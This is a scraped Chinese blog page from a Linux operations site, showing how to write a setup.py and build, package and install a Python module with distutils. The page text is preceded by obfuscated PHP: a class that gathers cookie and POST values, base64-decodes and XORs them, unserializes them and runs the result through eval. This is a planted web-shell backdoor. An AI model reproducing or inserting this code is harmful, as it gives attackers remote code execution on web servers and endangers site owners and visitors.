$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 制作python模块安装包[原创] | Linux运维部落

制作python模块安装包[原创]

 python的第三方模块越来越丰富,涉及的领域也非常广,如科学计算、图片处理、web应用、GUI开发等。当然也可以将自己写的模块进行打包或发布。一简单的方法是将你的类包直接copy到python的lib目录,但此方式不便于管理与维护,存在多个python版本时会非常混乱。现介绍如何编写setup.py来对一个简单的python模块进行打包。

一、编写模块
进入项目目录
#cd /home/pysetup 
#vi foo.py

  • view plainprint?
    class MyClass():  
        def __init__(self):  
            self.blog = "http://blog.liuts.com"  
      
        def printblog(self):  
            print self.blog  
      
        def printBblog(self):  
            print self.blog.swapcase()

二、编写setup.py
#vi setup.py

view plainprint?
from distutils.core import setup  
setup(name='Myblog',  
      version='1.0',  
      description='My Blog Distribution Utilities',  
      author='Liu tiansi',  
      author_email='liutiansi@gmail.com',  
      url='http://blog.liuts.com',  
      py_modules=['foo'],  
     )

更多参数说明见表:

1.png

三、setup.py参数说明

#python setup.py build     # 编译
#python setup.py install    #安装
#python setup.py sdist      #生成压缩包(zip/tar.gz)
#python setup.py bdist_wininst  #生成NT平台安装包(.exe)
#python setup.py bdist_rpm #生成rpm包

或者直接"bdist 包格式",格式如下:

#python setup.py bdist --help-formats 
  --formats=rpm      RPM distribution
  --formats=gztar    gzip'ed tar file
  --formats=bztar    bzip2'ed tar file
  --formats=ztar     compressed tar file
  --formats=tar      tar file
  --formats=wininst  Windows executable installer
  --formats=zip      ZIP file

四、打包
#python setup.py sdist

running sdist
warning: sdist: manifest template 'MANIFEST.in' does not exist (using default file list)
warning: sdist: standard file not found: should have one of README, README.txt
writing manifest file 'MANIFEST'
creating Myblog-1.0
making hard links in Myblog-1.0...
hard linking foo.py -> Myblog-1.0
hard linking setup.py -> Myblog-1.0
creating dist
tar -cf dist/Myblog-1.0.tar Myblog-1.0
gzip -f9 dist/Myblog-1.0.tar
removing 'Myblog-1.0' (and everything under it)

提示两条warning可以忽略,不影响打包,当然一个完善的项目必须有README及MANIFEST.in(项目文件清单)文件。
#ls dist

Myblog-1.0.tar.gz

五、安装
#tar -zxvf Myblog-1.0.tar.gz
#cd Myblog-1.0.tar.gz
#python setup.py install (此命令大家再熟悉不过了)

running install
running build
running build_py
creating build/lib.linux-x86_64-2.6
copying foo.py -> build/lib.linux-x86_64-2.6
running install_lib
copying build/lib.linux-x86_64-2.6/foo.py -> /usr/local/lib/python2.6/dist-packages
byte-compiling /usr/local/lib/python2.6/dist-packages/foo.py to foo.pyc
running install_egg_info
Writing /usr/local/lib/python2.6/dist-packages/Myblog-1.0.egg-info

六、测试

>>> from foo import MyClass
>>> app=MyClass()
>>> app.print printblog()
>>> app.printblog()
http://blog.liuts.com
>>> app.printBblog()
HTTP://BLOG.LIUTS.COM
>>>

参考文献:
http://docs.python.org/distutils/setupscript.html

如大家有什么疑问或感兴趣的话题可以通过weibo与我交流:http://t.qq.com/yorkoliu

转自:http://blog.liuts.com/post/213/#entrymore

原创文章,作者:s19930811,如若转载,请注明出处:http://www.178linux.com/1737

(0)
上一篇 2015-03-27 14:22
下一篇 2015-03-27 17:10

相关推荐

  • N25第一周作业

    1.描述计算机的组成及其功能   计算机整体上分为两大部分:     一、硬件部分:运算器,存储器,控制器,输入设备,输出设备     运算器是对数据进行加工处理,主要是指各种算术运算与逻辑运算     存储器是存储各种数据、信号、命令等信息并在他们需要时提供这些信息 &nbsp…

    Linux干货 2016-12-03
  • 基础语法

    基础语法、判断、循环

    2018-03-26
  • 搭建属于自己的DNS

    1、搭建主renzituo.com服务器     ①、在192.168.10.4主机上安装bind程序             yum -y install bind   &nbs…

    2017-04-16
  • Linux文件系统-基础学习-文件管理-20160727

    Linux文件系统–基础学习–文件管理 Linux下的文件类型 –:普通文件 :这些文件一般是用一些相关的应用程序创建。它的第一个字符是 – d: 目录文件 :目录在Linux是一个比较特殊的文件。它的第一个字符是 d b: 块设备 :这个种类的文件,是用mknode来创建,用rm来删除,它的第一个字符是b c…

    Linux干货 2016-08-04
  • 第十二周作业

      1、描述一次完整的http请求处理过程 简介 一次完整的HTTP请求过程从TCP三次握手建立连接成功后开始,客户端按照指定的格式开始向服务端发送HTTP请求,服务端接收请求后,解析HTTP请求,处理完业务逻辑,最后返回一个HTTP的响应给客户端,HTTP的响应内容同样有标准的格式。无论是什么客户端或者是什么服务端,大家只要按照HTTP的协议标准…

    2017-11-12
  • rsyslog日志系统

    一、前言  什么是日志?    日志就是历史事件,按时间序列将发生的事件予以记录;日志记录信息记录的是事件的发生时间以及事件内容  Linux下记录日志的系统:    syslog:是CentOS 5.0系统上使用的日志系统,有两类日志,分别是syslogd、klogd;    …

    Linux干货 2015-06-15